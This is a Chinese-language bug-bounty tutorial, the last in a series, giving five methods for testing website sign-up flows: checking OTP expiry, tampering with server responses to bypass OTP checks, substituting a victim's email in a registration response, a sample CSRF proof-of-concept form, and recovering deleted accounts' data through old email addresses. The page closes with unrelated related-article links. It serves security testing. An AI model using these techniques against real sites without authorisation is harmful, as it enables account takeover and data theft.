漏洞赏金猎人系列-如何测试注册(Sign up)功能(V)以及相关Tips

简介: 本文为本系列的最后一篇,梳理了SignUp最后几种测试方法(tips);前面相关的文章有:注册功能测试小结赏金猎人系列-如何测试注册(Sign up)功能赏金猎人系列-如何测试注册(Sign up)功能以及相关Tips漏洞赏金猎人系列-如何测试注册(Sign up)功能(IV)以及相关Tips

正文


本文为本系列的最后一篇,梳理了SignUp最后几种测试方法(tips);

前面相关的文章有:

注册功能测试小结

赏金猎人系列-如何测试注册(Sign up)功能

赏金猎人系列-如何测试注册(Sign up)功能以及相关Tips

漏洞赏金猎人系列-如何测试注册(Sign up)功能(IV)以及相关Tips


第三十一种方法

如果你可以用手机号码注册,服务器将询问你关于OTP(验证码)的问题,所以试着弄清楚OTP是否会过期,如果没有,这里就可能有问题

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com 
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8 
Content-Length: length
{
"status" : 1 ,
"message" : "OTP Matched Successfully" }

第三十二种方法

如果可以使用手机号码注册,服务器将验证OTP,所以尝试操纵响应,尝试输入错误的号码

然后将status中0变为1,message所对应的Invalid OTP value变为OTP Matched Successfully

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com 
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8 
Content-Length: length
{"status" : 1 ,
"message" : "OTP Matched Successfully"}

第三十三种方法

在拦截注册请求的响应时,尝试改变响应中的UUID,例如ID、电子邮件或电话,将其变为所对应的受害者账户的UUID。

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com 
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8 
Content-Length: length
{
"email" : "victim@gmail.com" , "redirect" : "/dashboard"
}

第三十四种方法

如果没有CSRF令牌或Anti-CSRF,尝试创建CSRF POC

<html>
<body>
<form method="POST" action="https://www.company.com">
<input type="text" value="me@gmail.com" name="email">
<input type="text" value="Secrete" name="password"> 
<input type="submit" value="Click">
</form>
</body>
</html>

第三十五种方法

通过注册与之关联的旧电子邮件地址,从删除的帐户中检索数据


参考

https://hackerone.com/reports/792295

https://amitp200.medium.com/how-i-bypass-otp-verification-in-account-registration-process-ce698654a7af

https://hackerone.com/reports/994504

https://twitter.com/intigriti/status/1080835652860764160

目录
相关文章
|
8天前
|
运维
【运维基础知识】用dos批处理批量替换文件中的某个字符串(本地单元测试通过,部分功能有待优化,欢迎指正)
该脚本用于将C盘test目录下所有以t开头的txt文件中的字符串“123”批量替换为“abc”。通过创建批处理文件并运行,可实现自动化文本替换,适合初学者学习批处理脚本的基础操作与逻辑控制。
103 56
|
17天前
|
测试技术
Appscan手工探索、手工测试功能实战
Appscan手工探索、手工测试功能实战
|
17天前
|
安全 程序员 网络安全
Kali渗透测试:对软件的溢出漏洞进行测试
Kali渗透测试:对软件的溢出漏洞进行测试
30 1
|
1月前
|
JSON 移动开发 监控
快速上手|HTTP 接口功能自动化测试
HTTP接口功能测试对于确保Web应用和H5应用的数据正确性至关重要。这类测试主要针对后台HTTP接口,通过构造不同参数输入值并获取JSON格式的输出结果来进行验证。HTTP协议基于TCP连接,包括请求与响应模式。请求由请求行、消息报头和请求正文组成,响应则包含状态行、消息报头及响应正文。常用的请求方法有GET、POST等,而响应状态码如2xx代表成功。测试过程使用Python语言和pycurl模块调用接口,并通过断言机制比对实际与预期结果,确保功能正确性。
159 3
快速上手|HTTP 接口功能自动化测试
|
17天前
|
安全 网络协议 Linux
Kali渗透测试:使用Armitage针对漏洞进行攻击
Kali渗透测试:使用Armitage针对漏洞进行攻击
36 0
|
27天前
|
安全 测试技术 Linux
CentOS7 安装vulhub漏洞测试环境
CentOS7 安装vulhub漏洞测试环境
54 0
|
9天前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
17 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
1月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
167 7
Jmeter实现WebSocket协议的接口测试方法
|
18天前
|
JavaScript 前端开发 API
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
32 0
|
1月前
|
JavaScript 前端开发 测试技术
ChatGPT与接口测试
ChatGPT与接口测试,测试通过
36 5